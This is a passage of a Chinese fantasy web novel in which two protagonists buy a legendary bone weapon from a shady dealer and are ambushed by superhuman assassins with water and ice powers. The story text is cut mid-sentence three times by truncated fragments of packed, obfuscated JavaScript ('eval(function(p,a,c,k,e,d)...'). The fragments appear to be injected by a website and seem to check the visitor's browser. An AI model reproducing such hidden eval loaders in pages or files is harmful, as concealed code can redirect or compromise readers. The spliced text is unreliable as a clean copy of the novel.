“您这幅海猫神的画稿，风格偏向于可爱，清新，治愈，是顶级的作品，我个人是十分愿意为其买单的。但流入市场，是不是可以尝试再添加一点哥特元素？话说回来，您说海猫神将您救出来……” 许辞眠难得一下子讲这么多话，其实都是为了提出自己对海猫神的质疑：“幻境沼泽里，应该很危险吧？搏杀，恐怖，猜忌，鲜血，尸体，我记得书里看到幸存者会记起这些事情。海猫神，若是真的存在，那这个名字听着也像是会把那些幻体一口吃掉嚼碎一样，怎么会是这么温和的形象呢？我建议是不是在祂身上画点骷髅？嘴角流血，毛发里夹着内脏，那些尾巴都缠着人的尸体……” 许辞眠讲到一半忽然感到肩膀传来一股怪力，他被锤了一个踉跄，整个人靠在门框上，扭头怒视姜渔，姜渔正收回拳头说：“你不适合文娱行业，小许，而且审美有待提高。” 许辞眠语气一沉：“你懂什么。” “我坚持自己的观点，倪老师，请保留这幅形象进行创作就可以。”姜渔不理许辞眠，“我真的很喜欢。” “好，我会考虑的。至于这位……”倪中墨看向许辞眠，笑着说：“你讲得也对，幻境沼泽中凶险万分，海猫神可以说是在里面大杀四方，但，祂留给我的印象就是这样的，很宁静。似乎不管发生什么事情，祂总能找到办法解决一样。” “……是晚辈欠考虑了。” 许辞眠轻声说道，眉眼不自觉地看向路迎春教授。他还是觉得离谱，尤其是听到倪中墨近乎“虔诚”地去复述海猫神的遭遇时，路迎春竟然也是一副认真听讲的样子……真不是在哄这位童心未泯的倪老太太玩吗？换言之其实倪老师是不是真的陷入了幻境沼泽，还没有定论。 他开始觉得这世界都疯了，自己和姜渔不是来这里疗养精神的，这两位德高望重的老人才需要。于是转向姜渔说：“真是受益匪浅，我觉得我们这趟真是来值了。” 我们这趟真是来值了，那就是可以走了。 姜渔会意，她想了想，问：“倪老师，请问您这部漫画想讲述一个什么故事呢？” “海猫神会庇佑祂的信徒，将不慎陷入幻境沼泽中的信徒们一一拯救出来。这是一个单元故事，我希望把一些故事，穿插在每个人的幻境沼泽里讲出来。”倪中墨眉眼慈祥，她看着海猫神，陷入了回忆，语气悠长。 “一定是个很精彩的故事，期待看到您的大作。”姜渔点点头，看向路迎春说：“路教授，我忽然想起来，自己还有些事要忙。许辞眠喊我喊得突然，我没安排好时间，今天恐怕只能聊到这里了。” 路迎春一愣：“可我还没为你们做精神健康的辅导……” “听到倪老师的故事，我的心情平静了许多。”姜渔态度坚持，看着许辞眠微笑说：“隔离区的意外，其实我没太放在心上。是许辞眠大题小做，不知道他到底要干什么。不过，能见到您，我很开心。” 许辞眠眉头拧紧，其实心里听得很满意，他觉得姜渔将不耐烦表演得很好。尤其是她看向自己时的那双笑眼，里面藏着许多掩饰不住的嫌弃。是很上乘的表演。 “我也是。”路迎春欲言又止，说：“嗯，那好吧，我就不留你了。” 姜渔点点头，许辞眠则要来了倪中墨的联系方式，保证自己会安排最先进的医疗设备为她做检测，才与姜渔一起向两位老人告辞，前后脚走出办公室。 关上门后，路迎春默然许久，走回卧室，她看着重新专注画画的倪中墨，语气担忧：“墨墨，你刚刚说你要把它当作人生最后一部作品，是什么意思？你是不是觉得身体不舒服？” “……啊？”倪中墨停下画笔，愣住了，爽朗地笑了出来，“没有。不过就是到岁数了而已，都这把年纪了，当然是最后一部作品作品。” “是啊……我们也到了要跟这个世界说再见的时候了。”路迎春稍稍放心，更多的愁绪却涌了上来，“你不说的时候，我没有这种感觉。原来我们已经需要考虑自己最后能在这世上留下什么东西了。” 路迎春抬起眼，看着倪中墨那双灵气不减的双眸，忽然又释然地笑了：“不说这些了。既然是你最后一部作品，肯定要把我画上去的吧。” “当然。你，我，我的妈妈，很多人，都会画上去。”倪中墨重新转过去画画，说：“你有没有想再添点别的角色？你的女儿？” “她对这些不感兴趣，不会喜欢的。”路迎春没怎么考虑就回绝了，她沉默了一会，说：“倒是有一个人，你可以帮我把他画上去。” “嗯？是谁？” “我那位还在休眠的长辈。”路迎春自己忍不住笑了，“两百多年了，他休眠的时候，还是旧纪元。等他醒来时发现蓝星这副样子，肯定吓死了。给他画一个单行本故事吧，这是他的晚辈送给他的礼物。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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姜渔单手开车，目视前方，另一只手晃了晃，说：“要让我说，我认为这也是从哆啦A梦肚子里掏出来的枪，你知道它叫什么吗？” 许辞眠一听，以为姜渔很认可自己对海猫神的质疑，还顺着自己的话开起了玩笑，很配合地问：“叫什么？” “人生重来枪。你再废话，我就会用这把枪把你传送到下辈子。” 许辞眠眼中一丝笑意僵住，他老实坐回去，整个人又虚弱几分，丧气地说：“你不够幽默，司机。” “接下来怎么开？”姜渔问。 “按导航开就行，我设定了路线，包括速度，严格执行就好。”许辞眠看着车外飞掠而过的风景，说：“现在，你已经‘绑架’我了，正在甩掉我身边的许氏眼线。很快他们就会察觉到不对劲，追上来。但我的路线会继续让你甩掉他们。” “明白了。” 车内陷入沉默。 直至半个小时后，姜渔眼看着已经要开出曙光之城，忍不住问：“不是说会有人来追上我们么？” “我也发现了，竟然没有一辆车追上来。”许辞眠嘴角挂起一丝自嘲的冷笑，“看来我父亲安插在我身边的人，业务能力下降得很厉害。也许是因为上一次在隔离中心的事情，让他对我有所不满吧。这样也好，方便我行动。” 姜渔无意掺入许氏家事，她只是确认计划没有出错，再次沉默开车。 豪华轿车在车流中继续穿梭，逐渐开往城外的方向。 …… 在豪车后六七公里处，一条姜渔刚刚驾车驶过的商业街，人头耸动。 大家都在围观街道上两辆熊熊燃烧的商务车。车里没有一个人跑出来，大家交头接耳，说是车里的人早已经被死了。无独有偶，从这条街道逆行过去，好几条街道都出现了类似的意外事故。或是有人死于轿车之内，或是有人暴尸街头。这些人死法各异，地点不一，却都是在短短几十分钟内，相继死亡。一时间，难以推断其中的联系。 大家都知道，今天的曙光之城不安全。 而在距离辐射物收容所不远的地方，还有一起案件没有被人发现。这是一条偏僻冷清的泥土巷路，平时很少有人经过。从地上的车辙来看，今天第一个经过这里的车，大概是一辆轿车。在那几分钟后，一辆简陋的面包车同样进入这里。 倒不是用车辙分辨车型的，因为这辆面包车仍然停在路上，并将永远停在这里了。它的车身已经四分五裂，就像一块被切分的蛋糕一样，切割面光滑平整，与三四具尸体一样，七零八落地散在巷路上，机油与鲜血渗入了土地，除此之外再没有什么信息。一切发生得太过突然，这些人是被一瞬之间的攻击致死的，没有力气挣扎也没有机会逃跑。 巷路上唯一可见的几个脚印，来到了墙边。一个男人从左肩向下的半边身子已经没了，他的右手里握着手机，屏幕还亮着。这个人在注定的死亡面前，用最后的力气靠着墙发出了两条信息，一条是给他的爱人，是一句抱歉，一个地点，一串密码。另一条发给他的上司，上面说：“许总遇难，对方人多极强。” 那边回复：“放心。” 只是不知道他临死时收没收到这条信息，又有没有真的放心。 另一边，商务街上，市警已经赶到，隔开了人群。一个小孩忽然在人群中弯下身子，因为他看到脚下有一台屏幕碎裂的手机。他捡起来，点开屏幕，没有密码。屏幕停留在回复消息的界面，这个手机的主人向对面发送“放心”的消息后，就没有再说话。 小孩看看手机，又看看已经燃烧殆尽的两辆车。大人捂住他的眼睛，不让他去看里面的尸体。 小孩心底里怕怕地想，希望收到消息的那个人不要真的放心，这边可出大事啦。 81. 玄桃枝 姜渔驾车来到曙光之城南城的最边缘，她已经可以望见冰冷的城墙。她看了看导航，终点已经接近，不需要开往城外，她稍稍安心。 曙光之城的外环透露出野蛮荒凉的氛围，随处可见的各种涂鸦在昭告这里生活着一群崇尚“自由”的灵魂，这些涂鸦为街道添上许多生机。荒凉则是因为大白天的，却行人稀少，店门紧闭，垃圾与醉汉像涂鸦一样，哪里都是。清洁工人不需要负责这种外环区域。 这里是边缘人群的聚集地。他们白天在这里栖息，晚上出门活动。他们的目标是城市的内环，用自己的手艺从内环带点什么东西出来。 “来过外环么？”许辞眠看着萧条的街道忽然问。 “经过几次。”姜渔说。 “如果你没有被精卫收纳的话，大概也会住在这种地方。事实上，精卫那一片区域跟这里也差不多。”许辞眠旧话重提，“但是，留在我身边，就几乎等于是成为了蓝星阶级最高的那一群人。你可以住最好的房子，享受最好的福利，得到最真诚的尊重。我想不到你拒绝的理由。” “我看你过得也不太好。”姜渔面色不改，“在隔离区差点死掉，又找不到可以信任的人。耗尽心思，只为了瞒住一点秘密。高阶级人群过得这么狼狈吗？” 许辞眠沉默了，良久，他看着车前的灰白色建筑，幽幽说：“会好起来的。” 姜渔看到终点就在前方。那是一幢四层矮楼，矗立在街道尽头，外墙古朴斑驳，但没有任何涂鸦。驶近时，姜渔见到旋转门上的招牌，“曙光信用公社”。 “以前是一间银行，曙光城建立后，有人利用这里开了这间公司，与曙光银行一样，储蓄汇款。不过客户群体都是些没什么信用的人。”许辞眠介绍说，“停车吧，我们到了。” 姜渔闻言停车，“不用停得隐蔽一点么？” “在五分钟之前，就算许氏的人咬得再紧，也没办法再追上来了。这里是他们的地盘，图瓦迪斯的人会保护我们的隐私。关于‘绑架’的戏码，已经落幕了。”许辞眠说，“接下来是送人的任务，拿上枪。” “好。” 姜渔将枪别在腰间，知道重头戏来了，提起精神下车，跟上同样下车的许辞眠。 两人走近旋转门，昏暗的大堂中没有开灯，一名身穿短袖短裤，两臂文满骷髅文身的壮汉，坐在门后的沙发上，他叼着一根雪茄，看向两人：“办什么业务？” 姜渔眼尖，看到壮汉的短袖上挂着一个断成两半的铭牌，只留下“经理”两个字。她心说这也太硬核了，不知道的以为他要把两个人给办了呢。 “约了刑先生取货。”许辞眠站在原地说。 壮汉眉头一皱，深深吸了一口雪茄，说，“这儿没有什么邢先生，滚。” “以前没有，以后会有。” “多久以后？” “见到许诺之后。” 话音落下，壮汉一收地痞姿态，起身站得笔直，恭敬说：“许先生，请跟我来。” 许辞眠微微点头，跟上引路的壮汉，姜渔尾随其后，跟着两人穿过昏暗大堂，来到一条幽深的走廊，行进数十米后，在一间电梯前站停。壮汉在电梯一侧墙上的小屏幕上敲击几次，屏幕发出声音：“什么事？” “许先生到了。” “请他上来。” 对话结束，厚重的电梯门缓缓向两侧打开，露出一个宽阔的空间。姜渔跟着许辞眠走进去，电梯门再次合上，发出嗡嗡的们响声开始上升，知道四层按钮亮起时，电梯门再次打开，一个精瘦矮小的眼镜男人站在门前，躬身说：“请跟我来。” 光线晦暗的走廊左右延伸，门牌众多。姜渔按下好奇的心思，继续跟许辞眠一起随眼镜男步行，直到来到一扇红木门前，眼镜男敲了敲门，得到应声后，打开门说：“请进。” 门后是一处玄关，绕过玄关的龙凤屏风，视野骤然开阔。姜渔随许辞眠进入一个铺设红木地板的迎客厅，厅中摆设了昂贵的红木家具，桌椅书柜上篆刻着复杂的图案，均是散发古朴气息的祥云异兽。 姜渔看到一个长桌前，站着一列身穿黑色短袖长裤的保镖人物，一个男人经过保镖走来。他身高一米七多一点，身材臃肿，又因为穿着黑西服白衬衫，像一只企鹅，此时，一张圆脸上因为大笑把眼睛挤成了两条缝。 他走近了，向许辞眠伸出手：“老朋友，好久不见。” “好久不见，邢先生。”许辞眠与邢先生轻轻握了下手，看向姜渔，说：“我新找的司机。” “这位姑娘可比之前的老头养眼多了。”邢先生上下打量姜渔一眼，视线在姜渔腰后短暂停留后，向许辞眠调笑：“许总，您艳福不浅哦。” “邢先生笑话了。”许辞眠微笑回应，说：“管家去世后，我只能自己安排行程。今天留给我的时间不多。” “明白。” 邢先生抬起手拍拍，眼镜男走向长桌，双手捧起桌上一个金属长盒，一米长。又折返到三人身边，递给邢先生。 邢先生接过长盒，一只胖手在长盒两侧分别按了一下，将长盒掀开，十分自信地笑说：“这就是我为许总准备的礼物。” 姜渔看过去，盒子中，一根泛着幽光的黑色圆管，安静躺在柔软的白布包裹之中。它大约五六十厘米的长度，半径不宽，表面光滑，整体就像一只没有按孔的长笛。在圆管的三分之一处，有十厘米左右的凹陷设计，大概是起到握持的作用。 “一百多年前，这件武器被我们图瓦迪斯家族收藏，据说它曾经砍下过百年期衍生体的头颅。”邢先生拿起黑色圆管，眼神痴迷地抚摸，“那场战斗发生在西方大陆一个最危险的战区，目睹过那场战斗的长辈说，一座种满桃树的山头都被移平了。不过，持有这件武器的主人并没有为它取名，我的长辈便叫它玄桃枝。给。” 许辞眠接过玄桃枝，双手不自觉向下一沉，说：“好重。” 他握着玄桃枝，比画了几下，眼神困惑：“它有什么用途？” “那位长辈说，它很玄妙。至于怎么用，他也不知道。”邢先生呵呵一笑，“图瓦迪斯家族收藏的兵器很多，但能让我替换出来的，少之又少。我能替换出来，又能让许总满意的，更是寥寥无几。我思来想去，只有这个常年蒙灰的玄桃枝，才足够体现我的诚意。” 姜渔明白了，这胖哥儿原来是倒卖家族财产的。 “邢先生的好心，我心领了。”许辞眠目中闪过一丝犹豫，端详很久，向邢先生为难说：“但恕我直言，它像个烧火棍，不是么？我想我们的第一笔交易不该是这样的。” “我自然是不会骗许总的。不妨先让司机女士用腰上那把枪试一试，它到底是不是一根烧火棍。”邢先生看着姜渔笑道。 姜渔看向许辞眠，许辞眠缓缓点了点头。于是姜渔掏出枪，等眼镜男接过玄桃枝，竖立在厅中的长桌上，又和一众保镖散开后，姜渔眯眼瞄准，扣动扳机，利落射击。 轰隆一声！一道耀眼的刺眼白光在大厅中炸开，待白光渐渐散去，所有人看向长桌的方向。只见那面墙上已经被贯穿了直径半米的圆洞，墙边的长桌更是断成两半，唯独那根被称为乌桃枝的乌黑色圆管，仍然毫发无伤地躺在地上。眼镜男一路小跑，将其捡起一边擦拭一边拿回来，等来到三人面前，乌桃枝已经被擦得干净，与之前一般无二。 “许总，我能感到你的司机带了把好枪，但没想到这么好。”邢先生看着乌桃枝苦笑，“我那套书桌很贵的。” “我的子弹也是。”姜渔淡淡说。 毕竟许辞眠承诺任务结束后，她可以带走这把枪。当见证到这一枪的威力后，她已经开始肉疼了。 “但这都是值得的，不是么。”许辞眠轻声说着，接过乌桃枝，叹服地说：“它不是金属，有骨头的质感。也不会是衍生体的骨头，这么坚硬的衍生体骨骼，得是百年期？没人能将百年期的衍生体骨骼打磨成这样。” “怪不得你的长辈为它叫枝，它也许是从什么植物上掉下来的，对么？”他抚摸着玄桃枝，眼中流露出了与邢先生一般无二的痴迷：“荆冠。这是荆冠的枝干！” 荒纪元年，北极洋深处，一株深红荆棘破海而出。人们发现时，荆棘主干直径已经达到约一千米，且还在生长。祂的外表呈深红色，布满血色浆状物，其根部位于深海未知之地，人类不可探寻。 荆棘极速生长出分 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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姜渔内心狂跳，感受着手上传来的触感。刚刚握持时，她分明觉察到食指指腹处，有轻微的按压触感。她再次微微加力，确定食指处有一块机关绝对可以按压下去。 但交易双方都没有提到这一点。 姜渔默默松手，拿起玄桃枝细细观察，整个圆管浑然一体，看不见任何机关按钮——是只有自己能按下去么？如果真是这样，又为什么会出现这种情况？ 她决定保持沉默。 “这张卡里是6亿联邦币，密码是我们上次见面的日子。邢先生，你可以确定一下。”许辞眠从怀中掏出一张金色卡片，递给邢先生。 “许总真是重情重义，这种细节之处的巧思令我感动至极……” 邢先生眼神示意眼镜男接过卡。眼镜男拿着卡在手机上一贴，短暂回忆，输入一段数字后，向邢先生点点头。 “恰好，我对这段友谊也是如此！许总是我在这座城市里唯一愿意信任的朋友。哈哈哈！”邢先生得到眼镜男的确认后，爽朗一笑：“本来我还准备了庆祝的酒会，既然许总时间紧张，我就不留你了。让我们保持联系。” “好。”许辞眠微笑说，“我也很想留下庆祝，不过我有些不适应这里的空气湿度，邢先生是很讨厌曙光城的干燥气候么？” “不是。我也感到了……”邢先生看着眼镜男说：“这儿开加湿器了吗？” “没有，邢先生。” 眼镜男摇摇头，他也觉得不对，眼镜在这几秒之内，竟然已经凝结了细密的白雾，摘下眼镜开始擦拭。 几个人都看到眼镜男镜片上的异状，纷纷皱起眉。四处看看，这间客厅的空气不知何时，弥漫着极其潮湿的湿气，甚至偶有几缕雾气飘过又散去。姜渔低头看去，地板上已经出现许多小小的滚圆水珠。困惑时，脸颊一阵湿润，她抬手擦去，食指上是一块水渍——这个客厅下起了雨？ 猛地，邢先生脸色骤变，他扯着嗓子大喊：“不对！有敌人！！” 话音还未落下，空气中的那些雾气湿气在瞬间凝聚！在半空中化作一滴滴乒乓球大小的浑圆水珠，下一秒，所有水珠赫然化为一把把刀片，带着破风之势，刺向所有人的喉咙！ 82. 电梯窃神 叮！ 姜渔下意识举起手中的玄桃枝，水刃与玄桃枝相撞，发出一声清亮脆响后再次散成水雾。她微微躬身，像一只谨慎的猎豹观察四周。 绝大数保镖已经身首异处，鲜血为红木家具添上一抹鲜艳。眼镜男举着一把暗金短刀，与姜渔一样竖在喉间挡住攻击。邢先生则后怕地捂住喉咙，他的喉咙上有一道白印，显然没有躲过暗杀，却仍存活下来。 地上蠕动着一些黑色长蛇的尸体，全部断成两截。许辞眠眉头皱紧看向姜渔手中的玄桃枝，冷声说：“还给我。” 姜渔迟疑了一下。 “记住你的任务。”许辞眠语气清冷，“不是保护它，是我。你该用上那把我给你的枪。” 姜渔略微不爽地将玄桃枝还给对方，重新给枪上膛，说：“现在怎么办？” “当然是跑，对方不会就这样结束。”许辞眠转头去问，“对么，邢先生？” 邢先生眼中闪过一丝厉色，沉默几秒，转身出门：“先去电梯。电梯的材质可以抵抗住探索级的攻击。” 走廊中，四人小跑疾行，姜渔持枪打头，听见前面许辞眠在问：“到底是怎么回事？怎么会有人暗杀？” “不是你的人？”邢先生说。 “我差点死了。”许辞眠淡淡说。 “难道我不是吗？”邢先生没好气地反问，又疑惑说：“可那是冲谁来的？” “玄桃枝。”许辞眠看着手中的玄桃枝，说：“你暴露了？家族的人来灭口？” “不可能。”邢先生语气笃定，他瞥了一眼许辞眠，说：“家族的不屑于暗杀，我看，多半是针对你的。” 姜渔正听着两人的对话，冷不丁升起一种悚然感。又是那种潮湿的感觉，像刚冲过澡的浴室，空气中弥漫着水汽的味道。 她沉声说：“又来了。” 猛然，纵深极长的走廊尽头墙壁发出一声巨响，那堵墙被什么东西从外面撞碎了，沙石像子弹一样贯穿走廊，姜渔一把揽过许辞眠的身子，紧贴一侧墙壁。眼前沙石飞过，带着冰凉的水线。那些水汽像一根根细小的银针，割破了众人身上的衣服。 姜渔不顾刺痛，眯着眼凝神望去，走廊尽头灰尘弥漫，里面隐隐响着低沉的啸声。她还在想那是什么生物发出的声音，一个直径两米左右的碧色龙头猛地从灰尘中昂然冲出！那是一头清水构成的华夏古龙，透明的头颅中碧波汹涌，它的眼中正带着沸腾的蒸气向众人撕咬而来。 砰！ 姜渔毫不犹豫射出一发子弹，洁白的耀眼冷焰笔直贯穿走廊，正中水龙眉心。她没见过这种场面，但历经长年战斗，早明白先下手为强的道理。一时间，巨大的冲击波带走走廊中的湿气，抵消水龙的冲击，并带着水龙一起蒸发在走廊外侧的天空中，隐隐现出一道彩虹。而两侧墙壁上仍残留着巨大狰狞的划痕，那是水龙的龙角与鳞片留下的攻击。 “哪里来的宵小，敢他大爷地对我下手！”邢先生回神，冲着走廊的缺口怒吼，“知道外墙很难修补吗？” 要不是这次交易需要保密，他只带了一个得手属下，何至于被人近身暗杀。他看着许辞眠，心中的不满达到顶峰，都是这个富二代办事不力，才给自己带来这么多麻烦。 不过，这个女司机倒是遇事不惊，出手果断，不知道真实实力如何。邢先生心里对姜渔倒是有些欣赏。 “既然是暗杀，证明对方实力也有限。一击不成，已经露怯，更何况一直躲在暗处。” 四人再次向来时的电梯移动，邢先生沉声说，“从手段和威力来看，大概是一个探索级领头。不管对方是谁，还挺看得起你，但他还是找错人了。小北。” “邢先生。”垫后的眼镜男回话。 “对面敢现身，直接杀掉！”邢先生咬着牙说道，“别以为探索级就能在蓝星上横着走了，敢对我朋友下手，最好学会放尊重一点。” 他话语间带着高高在上的意味，看来图瓦迪斯家族果真家底深厚。这也是对许辞眠的敲打，告诉许辞眠只要傍上他，那么许辞眠的敌人在他眼中都是不值一提的。 姜渔与许辞眠都读懂邢先生的弦外之意，默不作声。 “是。”被称为“小北”的眼镜男沉声说：“有我在，绝不会让邢先生再受到任何威胁。” 他刚才下意识的自保，却让邢先生受到了攻击，第二次的敌人攻势又被姜渔一枪瓦解，他此时仍沉浸在懊悔中，眼中透着一股狠戾：“即便是探索级，制造出这么大范围的攻击，一定消耗了许多气力。恐怕一时不敢再现身。” 话音刚落，走廊的缺口便由上及下翻入三名黑衣蒙面人，连眼部也覆着一圈黑色的眼罩状机器。 姜渔率先停下脚步，但已经晚了。最先翻入走廊的人果断抬手射击，走廊回荡着闷闷的枪响，姜渔没来得及反应，眼镜男小北已经蹿到最前方，挥动暗金短刀，叮叮叮几声脆响，弹飞子弹，身形也被巨大的冲击力打得后撤几步。 “喽啰。” 小北扯着嘴冷笑，又忽然愣住了。姜渔看到他的短刀已经卷刃，一圈寒霜迅速从短刀上的几个弹孔凹陷蔓延开来，心底涌上不妙的感觉。 小北也意识到不对，寻思扔掉短刀。刀落在地上，像冰块一样粉碎成块。他抬起头，狞笑说：“好，这就是那个探索级……受死！” 说罢，小北猛地一甩右臂，右臂上的衣服瞬间被震成齑粉，他的右小臂已经化作一把暗金色的金刀，俯身向对面三人冲去！ 姜渔目光一震，她见过类似的情景，那是在陆伯原的幻境沼泽，丁素小队中的宋涯在一瞬间从体内化出巨大的黑色骨翼。他们两个人的能力都与召唤黑蛇的许辞眠不同，是发生在本体上的变幻。 “来自共生维度与体质维度的的高级改造，那股怪力足以割掉一个只会远程偷袭的探索级人头。这才是他的刀。昂贵的金刀。”邢先生满意地看着冲出去的小北身影，向两人不无得意地介绍着。 “邢先生手下人才济济。”许辞眠凝目说。 “走吧。”邢先生说。 姜渔顶着那边与敌人短兵相交的战况，再次移步，几人拐过一个弯，已经来到电梯前，邢先生按下电梯，门开了，三人鱼贯而入，邢先生正要关门时，门前飞来一道身影。 小北挣扎着起身，他浑身血污，左脚折成诡异的角度，显然已经骨折，右臂的金刀更是断成一半。姜渔愣住了，她看着小北扭身，急迫地大喊：“快走！是三个探索级！” 邢先生还没缓过神来，听到小北的话，倒吸一口冷气，一只胖乎乎的手点个不停，连忙关闭电梯，随即一脸震怒地将许辞眠按到电梯厢的冰冷墙壁上：“你到底惹了什么人！三个探索级！都他爹的快赶上一个精卫小队了你知不知道？！” “抱歉……”许辞眠听到三个探索级也头皮发麻，强忍着绝望开口说：“我真不知道对方是谁。” “放屁！那他们能是来找我的不成？！派三个探索级找我，肯定知道我是图瓦迪斯家的人。知道我是图瓦迪斯家的人，又不可能只派三个探索级过来！不是找你，还能是找谁！？找你这个女司机吗？” 许辞眠目中闪烁几次，缓缓说：“相信我，邢先生，我真的不知道。而且，我想，我们应该思考下现在该怎么办。你说这电梯能阻挡探索级，待在这里会不会更好？” 邢先生盯着一脸认真的许辞眠，愤怒地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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在她的脚下，本该握在许辞眠手中的玄桃枝，正安静地躺在那里。 “它怎么跟着过来了？”姜渔惊愕问道。 纪小麦顺着她的目光看过去，也愣住了，随后大步流星到自己卧室门前摘下小黑板，覆到玄桃枝上。 “你晕倒时，许辞眠扶住了你。应该是当时玄桃枝碰到了你，而你又恰好来到1301室。”纪小麦看着黑板上浮现出文字，说：“如果我没猜错的话，你能带到1301室的除了晶核，就只有……” 黑板上的文字已经清晰显现： “不知道是谁收藏的纪念品。看来它的主人已经死了，如果想要继续收藏它，请寄给纪念品交易中心，你会得到详细的纪念品介绍。” …… 电梯厢内，许辞眠扶着姜渔，缓缓将她靠在电梯角落，他担心地看着眉目清秀的姜渔，重重叹了口气。 他突然觉得有些奇怪，好像是什么重要的东西在一瞬间丢掉了。 许辞眠忍着内心地古怪，起身时，发现身子轻盈许多，他意识到什么，看向手心，那里已经空空如也。 “不是……”他怔怔开口，“我烧火棍呢？” “不对，是玄桃枝。” 我斥巨资购买的，精致的，神秘的，传奇的，那么大一个玄桃枝呢？ 许辞眠以为自己眼花了，他摇了摇头，无助的双眼，迷茫地扫过空荡的电梯厢。邢先生一直离他有些距离，姜渔已经晕了过去，小小的电梯中，他看不见任何蹊跷的地方，渐渐地，他也听不见什么电梯下行的声音与紧张急促的呼吸声了。 只剩下心碎的声音。 83. 她是正义级 1301室内。 看到黑板上的话，姜渔一下子明白为什么自己可以扣动玄桃枝上的机关，而邢先生和许辞眠却根本没有发现了。 这是曾经某个有过桥的人，从幻境沼泽中带回来的“纪念品”。 现在来看，纪念品非但可以被携带着往返于现实与幻境沼泽之间，还只会被桥的拥有者使用。 一想到之前有过和自己相似经历的人已经死去，姜渔不免心中怅然。她听过邢先生关于玄桃枝的描述，那一定是个传奇般的人物，即便如此也泯灭在了岁月长河之中，没有人会记得那个人的名字。 纪小麦说，“你有什么决定？” 姜渔正要说话，纪小麦眉头一蹙，急忙说：“没时间了。现实里有情况，回去，用好你的园长之嘴，这是你唯一的机会！” “好。”姜渔点点头，说：“玄桃枝先放到这里，毕竟一时半会儿搞不清楚它的用途，而且带回去的话肯定很难再拿回来。” …… 曙光信用社。 破败的走廊中，照进几寸阳光。小北倚着墙站起，他受了重伤，能听见碎裂的骨头刺破血肉与内脏的声音。他努力睁开肿胀的双眼，眼镜已经粉碎，只能看见走廊中的三道模糊身影。他忽地笑了。 自从被邢先生收留，已经过了十七年。十七年前他是中学里最受欺负的四眼仔，直到一个下午，一个高年级的学长伸出胖乎乎的手，告诉他有无限的潜力，值得一场体面的毕业。于是他跟在学长身边，几年后，他迎来那场体面的毕业：老师与学生们都噤声了，胆颤地看着他用手上的金刀，在高考动员大会上割掉欺负他的学生头颅。他没有参加高考，而是加入图瓦迪斯家族。 小北开始知道探索级是超脱于人类的一众存在，但他只想留在一个人类身边。他也知道自己早已经毕业了，但他好像一直活在中学时代和学长见面的那个下午。因为那是一次真正的重生。如今十七年过去，又来到一轮新的毕业季了。他想。 将全身的力气凝聚、榨干，小北挣扎着起身。他的腿也化作了暗沉的金刀，瞳孔浸满黏稠的金液，皮肤簌簌落下金粉，这是他的皮肤在瓦解。他嚎叫一声，冲向三人。此时，他整个人都化成了那把昂贵的金刀，因为他每走一步都在燃烧着生命，他有绝对的信心，至少可以杀掉一个敌人。运气好，再伤到其他两人，或许也不是问题。 那个女司机手上还有子弹，相信她可以解决。小北笼罩在纷飞的金粉中这样想着，凝神向为首的黑衣人挥出金刀！ 咚。一声闷响。 小北惊愕地看着眼前忽然出现的一块玻璃，仿佛时间静止。巴掌大小，很薄，不过几毫米。他发现那不是玻璃，而是一块竖在空中的浮冰，却轻易挡下了他的全力一击，与之前出现的水刃强度天差地别。这时，头上传来异响，他满眼不可置信地抬头望去。 轰隆隆。 他的瞳孔中，猛然被一根火车头大小的巨大冰锥充满！那根冰锥一层层穿透了曾以坚硬著称的银行外墙与墙壁，散发出彻骨的寒意，笼罩整座建筑，也冰封了小北的心。冰锥丝毫不作停留，像刺穿一张纸一样，轻易刺穿小北的胸膛，且继续垂直穿下，直至冰锥尾部来到这层走廊时，小北才看到，冰锥尾部，站着一个女人，轻飘飘跳了下来。 圆寸头，瓜子脸，冰蓝瞳孔，呆板无情。 她不像其他人一样蒙面，是因为笃定见过她脸的人，都会像自己一样死掉么？这是小北的最后一道思绪：惨了，是正义级。 女人对小北的死去没有展现出一丝情绪，她抬起手，向下面指了指，紧接着冰块消散，地面露出一个容一人翻下的洞口。女人迈开步子，任由自己坠下去，剩余三人互相看了看，相继向下跃去。 …… 电梯厢中。 许辞眠不甘心地问：“为什么电梯不安装监控呢？” “你当这里是市警局吗？巴不得把咱俩见面都拍下来？”邢先生不耐烦地说：“都这个关头了，你还在闹什么？许总，我印象里你也是不是占小便宜的人，是不是让你的那些黑蛇把玄桃枝吞了，在这里戏弄我？” “我没有……”许辞眠有苦难言。 “你没有，玄桃枝怎么可能凭空消失？挺大一个东西，咱们三个谁能把那东西藏起来？” “我……”许辞眠很受伤。 忽然，电梯上方传来一阵巨响。 许辞眠目光一沉：“小北先生能拖多久？” “不会太久，那可是三个探索级。他必死无疑。”邢先生眼中闪过一丝黯然，“可惜我这么多年来在他身上花的钱了。” “发生什么了。”姜渔睁开眼问道。 “这种时候你居然能晕过去，你怎么回事？”许辞眠回头皱眉质问。 经历过隔离中心的意外，他比谁都知道姜渔的心理素质。 姜渔没来得及回答，电梯又传来一阵巨响，银色的厢体泛起冰晶，霜花急速蔓延，很快，温度骤降至零下的温度，时间仿佛也被冻结了，每个人的心里都像压着一块巨石，难以呼吸。这是一种具象化的威压，姜渔感到他们被拽入到一个陌生的领域，空气中充满死亡的气息。 姜渔第一次清晰感到自己与强者的差距。这种现实中的生死危机不比幻境沼泽，她从心底感受到那种恐惧，那是对上位者的恐惧，像蝼蚁面对人类。 “正……正义级，这是正义级的气息，该死，你到底惹了什么人！”邢先生硬着头皮破口大骂，大声说：“我是图瓦迪斯家的人！你要做什么跟我无关！放过我，图瓦迪斯愿意交你这个朋友！” 